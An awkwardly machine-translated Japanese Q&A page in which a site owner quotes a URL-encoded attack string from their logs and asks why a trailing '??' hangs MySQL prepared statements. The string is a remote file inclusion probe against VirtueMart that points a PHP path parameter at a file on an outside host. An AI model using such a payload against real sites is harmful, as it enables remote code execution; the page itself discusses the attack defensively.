2009-08-11 5 views
1

に私は最近、自分のサイトへの攻撃を持っていたし、攻撃者が値に次の文字列最近のウェブの攻撃と使用?準備されたMySQLの声明

%2f%2fcomponents%2fcom%5fvirtuemart%2fshow%5fimage%5fin%5fimgtag%2ephp%3fmosConfig%5fabsolute%5fpath%3dhttp%3a%2f%2fwww%2ekwangsung%2ees%2ekr%2f%2fUserFiles%2fshirohige%2fzfxid%2etxt 

を追加することによって、私のSQL文のいずれかを変更しようとしました。

はとにかく、私はPHPを使用するか、これがために起こったものは何でも、しかし、%3F%3Fしていない問題の原因となった?:MySQLではステートメントコール、Sダブルハングを準備します。

誰もがこの問題に直面していましたか?私はMySQLサイトをチェックして何も見つけられませんでした。

+0

この例では、URIエンコードされた「?文字列は2つではなく、どのような文字列を含んでいますか? – pilcrow

答えて

1

あなたが「virtuemart」の脆弱性のいくつかの並べ替えに対して脆弱だったかどうかを確認するためのプローブのように見える、SQLインジェクション攻撃ではありません。

使用する言語に関係なく、任意のGETデータをSQLクエリに渡すべきではありません。何らかのタイプのサーバー側の検証を実装するだけでなく、すべてのユーザー定義入力を適切にエスケープするようにする必要があります。

0

申し訳ありませんが、私は未登録のアカウントを使用して別の場所にこの質問を投稿しました。

私は含まれている文字列の最後に%3f%3fを忘れました。

はありません、それはインジェクション攻撃ではありません、それは私が使用していないいくつかのPHPプログラムにいくつかの攻撃だが、攻撃者は、とにかく試してみました。

私はC++バインディングをMySQLに使用しています。 prepare文は "??"でハングします。私は攻撃を介して得たものだけでなく、他のクエリでこれを確認することができます。

私は入力に取って、クエリであることを置くことが、私のプラットフォームは、自動的にすべてのCGI入力の<> &「」文字をエスケープし、そして私は、注射のために他の場所で追加チェックをしています。これは実際には、レガシーコードでいます。新しいバージョンプラットフォームではパラメータ化されたSQLだけが使用でき、RPCによるデータベース経由のアクセスが可能なため、RPCによって公開されているテーブルや行にアクセスすることができます。 ? "はハングするようです。

ありがとう

関連する問題